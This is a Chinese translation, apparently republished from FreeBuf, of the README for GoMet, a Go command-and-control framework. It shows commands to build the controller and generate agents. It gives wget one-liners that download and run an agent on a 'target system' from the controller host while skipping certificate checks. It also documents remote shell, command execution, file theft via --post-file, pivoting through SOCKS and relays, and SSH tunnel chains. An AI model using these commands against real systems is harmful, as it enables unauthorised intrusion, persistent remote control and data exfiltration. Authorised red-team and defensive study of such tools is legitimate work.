GoMet:Go編寫的多平臺Agent和控制器
GoMet是一個Go編寫的多平臺Agent和控制器。Agent通過TLS隧道與其控制器通訊。
構建
安裝 Go (https://golang.org/dl/ ).
克隆儲存庫
git clone git@github.com:gomet-app/GoMet.git
並編譯 GoMet
cd GoMet go build ./... go build .
基礎使用
啟動 GoMet
#> ./gomet _________ / ___| ___ |\/| ___| |_ | |_ / _ \| |\/| |/ _ \ __| | |_| | (_) | || |__/ |_ \____|\___/|_||_|\___|\__| v0.0.1 server > info Local listener: 0.0.0.0:8888 Socks listener: 127.0.0.1:9050 HTTP magic: khRoKbh3AZSHbix server > server > help Commands: clear清屏 exit退出 generate生成一個 agent help顯示幫助資訊 info列印伺服器資訊 routes列出 routes sessions列出 sessions
在目標系統上,下載相應作業系統和架構的Agent程式
wget https://<controller>:8888/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent
控制器會自動使用正確的資訊來構建 agent。
注意:“khRoKbh3AZSHbix”是由控制器隨機生成的,在GoMet CLI中鍵入“info”以了更多關於它的內容。在本用例中,你必須新增 –no-check-certificate選項,因為預設TLS證書是自動簽名的。
可用作業系統(參見 Golang GOOS):
linux darwin windows solaris ...
可用架構(參見 Golang GOARCH):
386 amd64 arm arm64 ...
啟動 agent
chmod +x agent ./agent
在 GoMet CLI 中,我們可以看到建立的新會話
server > New session 1 - <agent_hostname> - <agent_IP>:<agent_port> - darwin/amd64
會話互動
server > sessions open 1 session 1 > help Commands: cat列印檔案 clear清屏 close關閉 session connect連線一個本地埠到遠端地址 download下載檔案 execute執行命令 exit返回到伺服器 getuid獲取使用者 Id help顯示幫助資訊 jobs列出 jobs listen連線一個遠端埠到本地地址 ls列出檔案 netstat列出連線 ps列出程序 pwd獲取當前目錄 relay中繼偵聽 shell遠端shell互動 streams列出資料流 upload上傳檔案 session 1 >
TCP 轉發
我們可以通過 agent TLS tunnel 雙向轉發 TCP 連線。
connect
在本地偵聽埠(在控制器系統上)並將其轉發到遠端服務。
listen
在遠端偵聽埠(在代理系統上)並將其轉發到本地服務。
Socks5 和 routing
我們可以在控制器上啟用 Socks5 listener,以通過 agents 訪問遠端網路,並定義到不同會話的路由。
做一箇中繼
如果無法從目標系統訪問控制器,我們可以在另一個 agent 上定義“中繼”。 然後我們可以像控制器本身一樣通過中繼訪問控制器。
session 1 > relay Remote Address: 0.0.0.0:9999 session 1 >
並從目標系統
wget https://<relay>:9999/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent
與控制器共享檔案
控制器可以共享檔案。
複製共享目錄中的檔案並使用 magic URL 下載
wget https://<controller>:8888/khRoKbh3AZSHbix/my_file --no-check-certificate
我們還可以將檔案上傳到控制器
wget https://<controller>:8888/khRoKbh3AZSHbix/other_file --no-check-certificate --post-file file
使用 CLI 生成 agent
server > generate OS: windows Arch: amd64 Host: <controller>:8888 HTTP proxy: HTTPS proxy: Proxy username: Proxy password: Generated agent URL: https://<controller>:8888/Ye8o14kw1rpMJ8f/ySUxt7YT8X5fyat server >
配置檔案
預設配置檔案位於 config/config.json 。
{ "listenAddr":"0.0.0.0:8888", "socks": { "enable": true, "addr": "127.0.0.1:9050" }, "api": { "enable": false, "addr": "127.0.0.1:9000" } }
定義 tunnel
如果我們想通過隧道偵聽,我們可以在配置檔案中定義它。 實際上只有SSH。
{ "listenAddr":"0.0.0.0:8888", "socks": { "enable": true, "addr": "127.0.0.1:9050" }, "tunnel": { "listenAddr":"<exit_node>:8888", "nodes": [ { "type":"ssh", "host": "<first_node>:22", "username": "user", "password": "user" }, { "type":"ssh", "host": "<second_node>:22", "username": "user", "password": "user" }, { "type":"ssh", "host": "<exit_node>:22", "username": "user", "password": "user" } ] } }
自定義 TLS 證書
在 config 目錄中會生成一個預設證書,但你也可以用你自己的證書來替換它。
注意:一旦更改了預設證書,則將重建所有 agents,因為證書的雜湊值不同。
*參考來源:GitHub ,FB小編secist編譯,轉載請註明來自FreeBuf.COM